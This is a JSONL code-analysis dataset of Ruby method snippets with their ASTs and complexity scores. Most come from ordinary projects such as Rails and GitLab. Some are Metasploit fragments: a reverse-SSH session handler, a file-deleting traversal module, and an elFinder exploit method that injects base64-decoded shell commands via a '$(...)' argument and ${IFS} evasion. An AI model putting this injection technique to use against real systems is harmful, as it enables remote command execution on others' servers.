{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/sql_statement.rb","start_line":299,"raw_source":"def gsub(...)\n    to_s.gsub(...)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gsub\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_s\"]},\"gsub\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"c68a0ae1-d732-4d73-93ca-8c023e7307f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/groups/super_sidebar_menus/deploy_menu.rb","start_line":18,"raw_source":"def configure_menu_items\n          [\n            :packages_registry,\n            :container_registry,\n            :virtual_registry\n          ].each { |id| add_item(::Sidebars::NilMenuItem.new(item_id: id)) }\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"packages_registry\"]},{\"type\":\"sym\",\"children\":[\"container_registry\"]},{\"type\":\"sym\",\"children\":[\"virtual_registry\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"NilMenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"ea80c990-7b85-4abc-aec8-0351da46fdc9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1264,"raw_source":"def post_action_type_view\n    @post_action_type_view ||= PostActionTypeView.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"post_action_type_view\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post_action_type_view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionTypeView\"]},\"new\"]}]}]}","id":"63c17d74-2f10-48ed-80fa-a423db221d40"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb","start_line":56,"raw_source":"def run\n    unless datastore['CONFIRM_DELETE']\n      print_error(\"This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.\")\n      return\n    end\n\n    super\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONFIRM_DELETE\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"302a37df-b215-43f7-948c-31929e2b552d"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_ssl_session.rb","start_line":99,"raw_source":"def test_dflt_tls1_2\n    reused = run_session true, :TLS1_2\n    assert reused, 'session was not reused'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dflt_tls1_2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reused\",{\"type\":\"send\",\"children\":[null,\"run_session\",{\"type\":\"true\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"TLS1_2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"reused\"]},{\"type\":\"str\",\"children\":[\"session was not reused\"]}]}]}]}","id":"df87188c-fbc0-47e5-8920-af89c201a5a5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":438,"raw_source":"def test_grouped_options_for_select_returns_html_safe_string\n    assert_predicate grouped_options_for_select([[\"Hats\", [\"Baseball Cap\", \"Cowboy Hat\"]]]), :html_safe?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_grouped_options_for_select_returns_html_safe_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"grouped_options_for_select\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Baseball Cap\"]},{\"type\":\"str\",\"children\":[\"Cowboy Hat\"]}]}]}]}]},{\"type\":\"sym\",\"children\":[\"html_safe?\"]}]}]}","id":"b560d20b-4298-47b6-b234-92b4d9ad936e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/base_item_move_service.rb","start_line":65,"raw_source":"def moving_from_list\n      return unless params[:from_list_id].present?\n\n      @moving_from_list ||= board.lists.id_in(params[:from_list_id]).first\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"moving_from_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from_list_id\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@moving_from_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"board\"]},\"lists\"]},\"id_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from_list_id\"]}]}]},\"first\"]}]}]}]}","id":"ebf1afe2-f744-4b96-a6cf-e57af5581fc9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_ssh.rb","start_line":121,"raw_source":"def create_session(ssh, opts = {})\n        # If there is a parent payload, then use that in preference.\n        s = Sessions::SshCommandShellReverse.new(ssh, opts)\n        # Pass along the framework context\n        s.framework = framework\n\n        # Associate this system with the original exploit\n        # and any relevant information\n        s.set_from_exploit(assoc_exploit)\n\n        # If the session is valid, register it with the framework and\n        # notify any waiters we may have.\n        if s\n          register_session(s)\n        end\n\n        return s\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ssh\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sessions\"]},\"SshCommandShellReverse\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ssh\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"framework=\",{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"set_from_exploit\",{\"type\":\"send\",\"children\":[null,\"assoc_exploit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"send\",\"children\":[null,\"register_session\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}","id":"158425f0-63eb-4368-921f-dcf70a0efc8d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_agenda_items/item_component/show_component.rb","start_line":249,"raw_source":"def move_to_section_action_item(menu)\n      return unless editable?\n      return unless many_sections?\n\n      menu.with_item(label: I18n.t(:label_agenda_item_move_to_section),\n                     tag: :button,\n                     content_arguments: { data: {\n                       action: \"click->meetings--submit#intercept\",\n                       href: move_to_section_dialog_meeting_agenda_item_path(\n                         @meeting_agenda_item.meeting,\n                         @meeting_agenda_item,\n                         current_occurrence: @current_occurrence\n                       )\n                     } }) do |item|\n        item.with_leading_visual_icon(icon: \"op-move\")\n      end\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"move_to_section_action_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"many_sections?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_agenda_item_move_to_section\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"button\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"click->meetings--submit#intercept\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"move_to_section_dialog_meeting_agenda_item_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},\"meeting\"]},{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_occurrence\"]},{\"type\":\"ivar\",\"children\":[\"@current_occurrence\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"op-move\"]}]}]}]}]}]}]}","id":"8bc1ea51-2904-41d9-be6f-4b442181be89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/attributes_finder.rb","start_line":30,"raw_source":"def find_excluded_keys(klass_name)\n        @excluded_attributes[klass_name.to_sym]&.map(&:to_s) || []\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_excluded_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass_name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@excluded_attributes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass_name\"]},\"to_sym\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"293b1f7a-6d73-4369-8fd9-39402969110f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/roles/filters/allows_becoming_assignee_filter.rb","start_line":71,"raw_source":"def unassignable_permissions\n    RolePermission.where.not(permission: \"work_package_assigned\")\n                  .select(\"id\")\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unassignable_permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RolePermission\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permission\"]},{\"type\":\"str\",\"children\":[\"work_package_assigned\"]}]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}","id":"275b5629-ab73-4605-ac82-664c4dd22546"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/search_query_transformer.rb","start_line":212,"raw_source":"def language_code_from_term(term)\n      language_code = term\n\n      return language_code if LanguagesHelper::SUPPORTED_LOCALES.key?(language_code.to_sym)\n\n      language_code = term.downcase\n\n      return language_code if LanguagesHelper::SUPPORTED_LOCALES.key?(language_code.to_sym)\n\n      language_code = term.split(/[_-]/).first.downcase\n\n      return language_code if LanguagesHelper::SUPPORTED_LOCALES.key?(language_code.to_sym)\n\n      term\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"language_code_from_term\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"term\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"language_code\",{\"type\":\"lvar\",\"children\":[\"term\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguagesHelper\"]},\"SUPPORTED_LOCALES\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language_code\"]},\"to_sym\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language_code\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"language_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguagesHelper\"]},\"SUPPORTED_LOCALES\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language_code\"]},\"to_sym\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language_code\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"language_code\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[_-]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"first\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguagesHelper\"]},\"SUPPORTED_LOCALES\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language_code\"]},\"to_sym\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language_code\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}","id":"aca73958-3258-4505-90c9-062df1c6ad28"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb","start_line":91,"raw_source":"def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations\n    authors = Author.all.merge!(includes: { posts: [:comments, :categorizations] }, order: \"authors.id\").to_a\n    assert_equal 3, authors.size\n    assert_equal 5, authors[0].posts.size\n    assert_equal 3, authors[1].posts.size\n    assert_equal 11, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }\n  end","complexity_score":34.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"categorizations\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"authors.id\"]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authors\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authors\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"posts\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authors\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"posts\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[11]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authors\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"posts\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"comments\"]},\"size\"]}]},\"inject\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sum\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sum\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]}","id":"6069f753-e062-44f9-820a-33860d973b87"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/feeds/large_forem_experimental.rb","start_line":24,"raw_source":"def featured_story_and_default_home_feed(user_signed_in: false, ranking: true, must_have_main_image: true)\n        featured_story, hot_stories = globally_hot_articles(user_signed_in, must_have_main_image: must_have_main_image)\n        hot_stories = rank_and_sort_articles(hot_stories) if @user && ranking\n        [featured_story, hot_stories]\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"featured_story_and_default_home_feed\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user_signed_in\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"ranking\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"must_have_main_image\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"featured_story\"]},{\"type\":\"lvasgn\",\"children\":[\"hot_stories\"]}]},{\"type\":\"send\",\"children\":[null,\"globally_hot_articles\",{\"type\":\"lvar\",\"children\":[\"user_signed_in\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"must_have_main_image\"]},{\"type\":\"lvar\",\"children\":[\"must_have_main_image\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"ranking\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hot_stories\",{\"type\":\"send\",\"children\":[null,\"rank_and_sort_articles\",{\"type\":\"lvar\",\"children\":[\"hot_stories\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"featured_story\"]},{\"type\":\"lvar\",\"children\":[\"hot_stories\"]}]}]}]}","id":"283b28c4-cac3-42fe-834d-f384d4e65169"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/capture.rb","start_line":440,"raw_source":"def is_interface?(dev)\n        check_pcaprub_loaded\n        if RUBY_PLATFORM == \"i386-mingw32\"\n          if dev =~ /\\\\Device\\\\NPF_\\{[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\\}/\n            return NetworkInterface.interfaces.include?(dev)\n          elsif dev.to_s =~ /^[0-9]{1,2}$/\n            if (dev.to_i <= NetworkInterface.interfaces.length) and (dev.to_i >= 0)\n              return true\n            else\n              return false\n            end\n          else\n            return false\n          end\n        else\n          return NetworkInterface.interfaces.include?(dev)\n        end\n      end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"is_interface?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dev\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_pcaprub_loaded\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_PLATFORM\"]},\"==\",{\"type\":\"str\",\"children\":[\"i386-mingw32\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\Device\\\\\\\\NPF_\\\\{[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NetworkInterface\"]},\"interfaces\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"dev\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[0-9]{1,2}$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"to_i\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NetworkInterface\"]},\"interfaces\"]},\"length\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"to_i\"]},\">=\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NetworkInterface\"]},\"interfaces\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"dev\"]}]}]}]}]}]}","id":"76b83e2f-b28e-40c5-92d0-f010e2b6dd75"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/settings.rb","start_line":85,"raw_source":"def self.destroy!(resource, keys)\n      return if keys.blank?\n\n      settings_path = File.join(\"/\", keys.collect(&:to_s))\n      resource.settings_changes.where(\"key LIKE ?\", \"#{settings_path}%\").destroy_all\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"destroy!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"settings_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"settings_changes\"]},\"where\",{\"type\":\"str\",\"children\":[\"key LIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings_path\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]},\"destroy_all\"]}]}]}","id":"180a4dc6-e984-4be4-8801-295d1f53c634"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/elfinder_archive_cmd_injection.rb","start_line":178,"raw_source":"def execute_command(cmd, _opts = {})\n    cmd = \"echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh\"\n    cmd_arg = \"-TmTT=\\\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\\\"\"\n    cmd_arg = cmd_arg.gsub(' ', '${IFS}')\n\n    create_archive(cmd_arg, @archive_name, @txt_file)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"str\",\"children\":[\" | base64 -d |sh\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_arg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-TmTT=\\\"$(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\")\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_arg\"]},\"gsub\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"str\",\"children\":[\"${IFS}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_archive\",{\"type\":\"lvar\",\"children\":[\"cmd_arg\"]},{\"type\":\"ivar\",\"children\":[\"@archive_name\"]},{\"type\":\"ivar\",\"children\":[\"@txt_file\"]}]}]}]}","id":"cd010a0d-2bc6-469d-bd29-2465a9b4e381"}
